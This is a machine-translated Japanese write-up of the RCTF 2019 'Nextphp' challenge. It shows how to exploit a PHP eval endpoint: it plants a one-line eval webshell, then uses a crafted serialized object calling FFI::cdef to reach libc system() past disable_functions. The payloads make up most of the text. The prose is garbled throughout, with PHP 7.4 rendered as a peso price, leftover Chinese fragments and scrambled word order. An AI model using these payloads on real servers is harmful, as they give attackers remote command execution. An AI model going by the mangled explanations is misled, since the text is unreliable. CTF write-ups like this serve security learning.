記事ディレクトリ
FFI バイパス無効化機能
[RCTF 2019]Nextphp
まずはこのトピックを見てください
インデックス.php
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
phpinfoをチェックしてください
多くの関数がフィルタリングされていることがわかりました。馬を書いてみましょう。
/?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");
蟻の剣つながり:
プリロード.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
本当はLD_PRELOAD
etc. メソッドを使ってバイパスしたかったのですが、などの機能がdisable_functions
無効になっているので、方法がありません。mail
putenv()
preload.php ファイルを取得したので、PHP7.4 FFI
ここで言及する必要があります。
料金7.4ペソ
FFI(Foreign Function Interface)、つまり外部関数インターフェースとは、ある言語で別の言語コードを呼び出す技術のことを指します。PHP の FFI 拡張機能は、PHP で C コードを呼び出すことができるテクノロジです。FFI を使用するには、宣言と呼び出しの 2 つの手順だけが必要です。
利用条件:
Linux 操作系统 PHP >= 7.4 开启了 FFI 扩展且 ffi.enable=true
C 標準ライブラリのシステム関数を呼び出したい場合 (システム関数の PHP 独自の実装は考慮しないでください)、cdef を使用してそれをロードします。cdef は、システム関数を格納するダイナミック リンク ライブラリ libc をロードします。 PHP プロセス空間にこのシステムが存在するため、システム関数は disable_functions でフィルタリングされますが、結果のペイロードは引き続きシステムを使用します。加载c库函数中的system函数的
したがって、ここでのアイデアは、PHP コードを使用して C コードを呼び出し、最初に C でコマンド実行関数を宣言し、次に FFI 変数を介して c 関数を呼び出してバイパスすることです。
ここのphpバージョンは7.4なので、この方法を使用できます
経験値:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
}
}
$a = new A();
echo serialize($a);
# C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
__serialize()
ここでは関数をコメントアウトする必要があります。そうしないと最初に実行されます。ここで関数を__serialize()
実行する必要があります。serialize()
次にパラメータを渡します。
/?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');
まずA
オブジェクトを逆シリアル化し、__serialize()
返された配列を呼び出し、$this->data
その中のret
変数を取得します。呼び出しunserialize()
時に呼び出されるためrun()
、ret=FFI::cdef(int system(char *command);)
FFI オブジェクトを宣言してからsystem()
関数を実行するのと同じです。
参考
https://www.cnblogs.com/karsa/p/13393034.html
https://blog.csdn.net/RABCDXB/article/details/120319633